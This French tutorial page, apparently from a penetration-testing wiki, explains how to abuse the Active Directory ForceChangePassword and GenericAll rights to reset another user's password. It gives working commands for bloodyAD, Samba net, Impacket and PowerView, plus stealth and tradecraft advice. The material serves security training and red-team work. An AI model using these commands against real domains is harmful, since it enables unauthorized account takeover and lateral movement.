Le droit étendu User-Force-Change-Password (et GenericAll, qui l'inclut) vous permet de définir un nouveau mot de passe sur un compte cible sans fournir l'ancien, la même opération qu'utilise un helpdesk. C'est le moyen le plus direct de transformer une écriture sur un utilisateur en contrôle de celui-ci : réinitialisez le mot de passe, puis connectez-vous en tant que lui. Le coût est que c'est destructif, c'est donc un choix délibéré plutôt que l'option par défaut.
Réinitialiser depuis Linux#
# bloodyAD
bloodyAD --host <dc> -d example.local -u user -p pass set password 'victim' 'Newpass123!'
# Samba net (SAMR), works with password or -k for Kerberos
net rpc password 'victim' 'Newpass123!' -U 'example.local/user%pass' -S <dc>
# Impacket (reset via SAMR without knowing the current password)
changepasswd.py example.local/victim@<dc> -reset -altuser example.local/user -altpass 'pass' -newpass 'Newpass123!'
Depuis Windows, PowerView fait la même chose :
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'Newpass123!' -AsPlainText -Force)
Quand l'utiliser, et quand ne pas le faire#
Une réinitialisation est bruyante : l'utilisateur légitime ne peut plus se connecter, ce qui est remarqué rapidement et génère des événements de gestion de compte. Donc :
- Préférez d'abord une arête non destructive. Le même
GenericWrite/GenericAllpermet généralement aussi les shadow credentials (s'authentifier en tant que l'utilisateur sans toucher au mot de passe) ou le Kerberoasting ciblé. Utilisez-les quand le compte est en usage. - La réinitialisation convient bien pour les comptes obsolètes ou de service que personne n'utilise pour se connecter, les comptes d'ordinateur (bien que réinitialiser un mot de passe d'ordinateur puisse casser l'appartenance au domaine de l'hôte), ou quand PKINIT est indisponible de sorte que les shadow credentials ne sont pas une option.
- Rétablissez quand c'est possible : si vous avez d'abord capturé l'ancienne empreinte NT, vous pouvez remettre le mot de passe par empreinte ensuite pour réduire la perturbation.
Notes d'exploitation#
ForceChangePasswordest une réinitialisation (définir un nouveau, pas besoin de l'ancien), distincte d'un changement (nécessite le mot de passe actuel) ; l'arêteForceChangePasswordde BloodHound est exactement ce droit.- Sur un compte ordinateur, préférez une arête key-credential ou RBCD : réinitialiser
MACHINE$désynchronise le secret de l'hôte et est à la fois bruyant et perturbateur. - Après la réinitialisation vous détenez le texte en clair, qui alimente donc directement le déplacement authentifié et, si le compte est privilégié, d'autres arêtes de DACL.
Outils#
- bloodyAD (
set password) : réinitialisation en une seule commande depuis Linux. - Samba
net rpc password/ Impacketchangepasswd.py -reset: réinitialisation basée sur SAMR. - PowerView (
Set-DomainUserPassword) : réinitialisation en local.
Références#
- The Hacker Recipes: ForceChangePassword
- SpecterOps: BloodHound ForceChangePassword edge